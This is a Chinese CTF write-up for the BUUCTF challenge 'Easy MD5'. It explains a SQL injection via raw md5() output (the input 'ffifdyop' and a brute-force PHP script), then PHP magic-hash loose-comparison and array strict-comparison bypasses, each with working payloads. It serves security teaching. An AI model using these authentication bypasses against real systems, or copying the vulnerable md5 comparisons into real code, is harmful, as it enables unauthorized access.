buuctf- [BJDCTF2020]Easy MD5 (小宇特详解)

buuctf- [BJDCTF2020]Easy MD5 (小宇特详解)

这里显示查询

这里没有回显,f12一下查看有没有有用的信息

我使用的火狐浏览器在网模块中找到了响应头

Hint:select * from ‘admin’ where password =md5($pass,ture)

这里的关键在于password=md5($pass,ture)

MD5语法

标准格式

md5(string,raw)

参数描述
string必需。要计算的字符串。
raw可选。规定十六进制或二进制输出格式:
TRUE-原始 16字符二进制格式 。
FALSE-默认 32字符十六进制数。

这里的是原始16字符二进制格式

这里说一下两个的联系,这里的16位秘文和32位秘文的第8-24位子字符串时一样的,也就是中间的16位。

这里的原始16字符二进制格式一般会有乱码,如果想解决的话

1.对输出的16位字节的二进制转换为十六进制。

2.取32位秘文的中间16位

如果MD5值经过hex后,就构成万能密码进行了sql注入,这个就是这个题的关键

在mysql里面,在用作布尔型判断时,以数字开头的字符串会被当做整型数。

要注意的是这种情况是必须要有单引号括起来的,比如password=‘xxx’ or ‘1xxxxxxxxx’,那么就相当于password=‘xxx’ or 1 ,也就相当于password=‘xxx’ or true,所以返回值就是true。

如果只有数字的话就不用单引号

这里有个脚本能够跑出来

<?php 
for ($i = 0;;) { 
 for ($c = 0; $c < 1000000; $c++, $i++)
  if (stripos(md5($i, true), '\'or\'') !== false)
   echo "\nmd5($i) = " . md5($i, true) . "\n";
 echo ".";
}
?>

这里用:ffifdyop,这个MD5加密后会返回’or’6XXXXXXXXX(这里的XXXXX是一些乱码和不可见字符)

这里的SQL语句会变成

select * from `admin` where password=''or'6XXXXXXXXX'  

进入下一关

查看源码

<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.
-->

这里使用了==弱比较

== 在进行比较的时候,会先将两边的变量类型转化成相同的,再进行比较

0e在比较的时候会将其视作为科学计数法,所以无论0e后面是什么,0的多少次方还是0。

这里完全可以去寻找明文不同但MD5值为"0exxxxx"

这里提供两个QNKCDZO和s878926199a

构造payload

http://37d8016d-643c-4764-8e62-c8a24e224a75.node3.buuoj.cn/levels91.php?a=QNKCDZO&b=s878926199a

这里用POST的方式传入了两个不相等的参数,然而这两个参数的MD5值要相等,并且是===强比较

MD5有个特点是:如果传入的两个参数不是字符串,而是数组,md5()函数无法解出其数值,而且不会报错,就会得到===强比较的值相等

payload

param1[]=1&param2[]=2即可

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小宇特详解

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值